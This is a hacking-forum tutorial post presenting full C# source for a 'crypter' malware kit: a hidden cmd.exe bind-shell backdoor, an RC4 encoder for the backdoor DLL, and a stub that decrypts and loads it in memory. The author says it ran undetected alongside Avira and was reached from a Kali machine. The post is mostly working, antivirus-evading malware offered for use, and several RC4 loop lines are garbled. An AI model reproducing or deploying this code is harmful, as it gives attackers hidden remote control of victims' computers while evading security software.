• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

C# C# Crypter Bind shell

Status
Not open for further replies.

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,861
Solutions
4
Reputation
32
Reaction score
45,552
Points
1,813
Credits
55,350
‎7 Years of Service‎
 
56%
C# Crypter Bind shell

Ver. 1.0 october 2016


Tested on Win10 Home edition 64, coded with Visual Studio 2015 CE

 


I decided to develop a crypter bind shell based on the .Net FW 3.5 in C#, just for fun and profit :).


I have chosen this version of the Framework due to the fact that is the most widely used at the moment (Google says that).

 


These are the prerequisites to follow this tutorial:

  • What is a crypter and how it works
  • Visual Studio 2015 Community (you can get it here)
  • A minimum knowledge about how to use it
  • A basic C# knowledge
I have created 3 solutions in my VS Ide:

  • RShell (the actual bind shell)
  • Enc (the encoder)
  • Stub (decode and execute the bind shell payload)
Let's analyze the first one called RShell: I create a class library project tho host the bind shell code, this is the source of the file called BindShell.cs:/*****************************************************************


*



* Created By DT



* Modified by Zinzloun



*



* ***************************************************************/


 




Code:
>using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;

namespace BackdoorServer
{
public class Backdoor
{
private TcpListener listener; //ServerSocket object for listening
private Socket mainSocket; //Socket to handle client-server communication
private int port; //Port the server listens on
private String name; //The server name
private bool verbose; //Displays messages in console if True
private Process shell; //The shell process
private StreamReader fromShell;
private StreamWriter toShell;
private StreamReader inStream;
private StreamWriter outStream;
private Thread shellThread; //So we can destroy the Thread when the client disconnects


//interface to use without initialize
public static void _bind(string ip, Int32 port)
{
Backdoor bd = new Backdoor();
bd.startServer(ip,port);
}

/////////////////////////////////////,///////////////////////////////////
//the startServer method waits for a connection, checks the password,
//and either drops the client or starts a remote shell
////////////////////////////////////////////////////////////////////////
public void startServer(string ns,int porta, bool verb=false)
{
try
{
name = ns;
port = porta;
verbose = verb;
if (verbose) Console.WriteLine("Listening on port " + port);
//Create the ServerSocket
listener = new TcpListener(port);
listener.Start(); //wait for a connection
mainSocket = listener.AcceptSocket();

if (verbose) Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
Stream s = new NetworkStream(mainSocket);
inStream = new StreamReader(s);
outStream = new StreamWriter(s);
outStream.AutoFlush = true;
shell = new Process();
shell.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
ProcessStartInfo p = new ProcessStartInfo("cmd");
p.WindowStyle = ProcessWindowStyle.Hidden;
p.CreateNoWindow = true;
p.UseShellExecute = false;
p.RedirectStandardError = true;
p.RedirectStandardInput = true;
p.RedirectStandardOutput = true;
shell.StartInfo = p;
shell.Start();
toShell = shell.StandardInput;
fromShell = shell.StandardOutput;
toShell.AutoFlush = true;
shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell
shellThread.Start();
outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client
outStream.WriteLine("Starting shell...\n");
getInput(); //Prepare to monitor client input...
dropConnection(); //When getInput() is terminated the program will come back here
}
catch (Exception) { dropConnection(); }
}
//////////////////////////////////////////////////////////////////////////////////////////////
//The run method handles shell output in a seperate thread
//////////////////////////////////////////////////////////////////////////////////////////////

void getShellInput()
{
try
{
String tempBuf = "";
outStream.WriteLine("\r\n");
while ((tempBuf = fromShell.ReadLine()) != null)
{ outStream.WriteLine(tempBuf + "\r");}
dropConnection();
}
catch (Exception) { /*dropConnection();*/ }
}

private void getInput()
{
try
{
String tempBuff = ""; //Prepare a string to hold client commands
while (((tempBuff = inStream.ReadLine()) != null))
{ //While the buffer is not null
if (verbose) Console.WriteLine("Received command: " + tempBuff);
handleCommand(tempBuff); //Handle the client's commands
}
} catch (Exception) { }
}

private void handleCommand(String com)
{ //Here we can catch commands before they are sent
try
{ //to the shell, so we could write our own if we want
if (com.Equals("exit"))
{ //In this case I catch the 'exit' command and use it
outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
dropConnection(); //to drop the connection
}
toShell.WriteLine(com + "\r\n");
} catch (Exception) { dropConnection(); }
}

//close the connection
private void dropConnection()
{
try
{
if (verbose)
Console.WriteLine("Dropping Connection");
shell.Close();
shell.Dispose();
shellThread.Abort();
shellThread = null;
inStream.Dispose();
outStream.Dispose();
toShell.Dispose();
fromShell.Dispose();
shell.Dispose();
mainSocket.Close();
listener.Stop();
return;
}catch (Exception) { }
}

}
}
I have modified the original code to fit my needs, anyway thanks to DT (here you can find the original version). The code is well commented and easy to understand I think, in doubt, as usual, Google is your friend ;) I created a simple console app project to test it before to move to the encryption phase. I suggest to you to do the same. You have to add a reference to the class library project and then set the console app as the starter project:


1.png



Ignore the fact that I have 3 projects in my solution, in the above image you can see the call to test the BindShell project. Let's give it a try:


2.png



I have enabled the verbose mode for the bind shell that by default it's disabled (see the modified raw in yellow). Ok it's work, but this is only the half of the job. Now we need to encrypt the generated dll of the BindShell class library. To do that I created a second project to encrypt the file using RC4 algorithm. I created a Windows application project that expects to find the file to encrypt in the bin folder (pay attention how to compile the solution because the bin path changes from release to debug according to the compilation type), so we need to copy the dll file as shown in the following image:


3a.png



Following the source code of the Enc program:

Code:
>using System;
using System.IO;
using System.Text;

namespace Enc
{
class Program
{

static void Main(string[] args)
{
try
{
byte[] pass = Encoding.Default.GetBytes("Aa123456");

byte[] file = File.ReadAllBytes("./BindShell.dll");
byte[] encFile = RC4.Encrypt(pass, file);
File.WriteAllBytes("./BindShell.dat", encFile);

}
catch (Exception) {

}
}
}

public class RC4
{

public static byte[] Encrypt(byte[] pwd, byte[] data)
{
int a, i, j, k, tmp;
int[] key, box;
byte[] cipher;

key = new int[256];
box = new int[256];
cipher = new byte[data.Length];

for (i = 0; i {
key[i] = pwd[i % pwd.Length];
box[i] = i;
}
for (j = i = 0; i {
j = (j + box[i] + key[i]) % 256;
tmp = box[i];
box[i] = box[j];
box[j] = tmp;
}
for (a = j = i = 0; i {
a++;
a %= 256;
j += box[a];
j %= 256;
tmp = box[a];
box[a] = box[j];
box[j] = tmp;
k = box[((box[a] + box[j]) % 256)];
cipher[i] = (byte)(data[i] ^ k);
}
return cipher;
}

public static byte[] Decrypt(byte[] pwd, byte[] data)
{
return Encrypt(pwd, data);
}
}
}
Once compiled we get the encrypted BindShell.dat file, then I will embed the file in the stub. Let's have a look to the file code in the Stub(born) project:

Code:
>using System;
using System.IO;
using System.Reflection;
using System.Text;

namespace Stubborn
{
class Program
{
static void Main(string[] args)
{
//default if not passed as arguments
string ip = "localhost";
Int32 port = 6666;
if (args != null)
{
if (args.Length == 2) {
ip = args[0];
Int32.TryParse(args[1], out port);
}
}
//decoding pwd
byte[] pass = Encoding.Default.GetBytes("Aa123456");
//I search for the included encrypted file and I load the class on the fly...
foreach (string name in Assembly.GetExecutingAssembly().GetManifestResourceNames())
{
if (name.Equals("Stubborn.BindShell.dat", StringComparison.InvariantCultureIgnoreCase))
// if (name.Equals("Stubborn.RShell.dat", StringComparison.InvariantCultureIgnoreCase))
{
using (Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name))
{
int streamEnd = Convert.ToInt32(stream.Length);
byte[] buffer = new byte[streamEnd];
stream.Read(buffer, 0, streamEnd);
//decode
byte[] buff_dec = RC4.Decrypt(pass, buffer);
Assembly pay = Assembly.Load(buff_dec);
object o = pay.CreateInstance("BackdoorServer.Backdoor");
//object o = pay.CreateInstance("RShell.RShell_C");

Type t = o.GetType();
MethodInfo mi = t.GetMethod("_bind");
//p
object[] p = { ip,port };
object s = mi.Invoke(o, p);
}
break;
}
}
}
}

public class RC4
{

public static byte[] Encrypt(byte[] pwd, byte[] data)
{
int a, i, j, k, tmp;
int[] key, box;
byte[] cipher;

key = new int[256];
box = new int[256];
cipher = new byte[data.Length];

for (i = 0; i {
key[i] = pwd[i % pwd.Length];
box[i] = i;
}
for (j = i = 0; i {
j = (j + box[i] + key[i]) % 256;
tmp = box[i];
box[i] = box[j];
box[j] = tmp;
}
for (a = j = i = 0; i {
a++;
a %= 256;
j += box[a];
j %= 256;
tmp = box[a];
box[a] = box[j];
box[j] = tmp;
k = box[((box[a] + box[j]) % 256)];
cipher[i] = (byte)(data[i] ^ k);
}
return cipher;
}

public static byte[] Decrypt(byte[] pwd, byte[] data)
{
return Encrypt(pwd, data);
}

}
}
The program searches for the embedded file, BindShell.dat, that I have referenced. Be sure to set the Build Action as shown in the following image:


4.png



Then creates an instance of the Backdoor class (the bind shell code) on the fly:...


object o = pay.CreateInstance("BackdoorServer.Backdoor");


...
The Strubborn project it's a WindowsApplication that once compiled will generate an exe file. Let's have a look:


5.png



So as we can see there isn't any trace of the encrypted .dat file inside the bin dir. For this POC I will try to spawn the shell on my Win 10 64 bit machine with Avira free edition installed. First I double clicked the payload and apparently nothing happens. Let's see:


6.png



Indeed executing a netstat -a -b in a cmd we can notice that the payload is listening on the 6666 TCP port as shown above. Then I try to connect with my Kali VM assuming the victim IP is 192.168.1.117. Let's check it out:


7.png



It works! You can eventually pass the ip and port as argument to the exe from the command line, e.g. Stubborn.exe localhost 9999. Finally remember always to double check if the bind shell is listening and eventually to kill it before leaving your test environment. Here you can find the source code of the project's files.

Download SorceCode:

[HIDE-THANKS]
This link is hidden for visitors. Please Log in or register now.
[/HIDE-THANKS]



 
Status
Not open for further replies.
Back
Top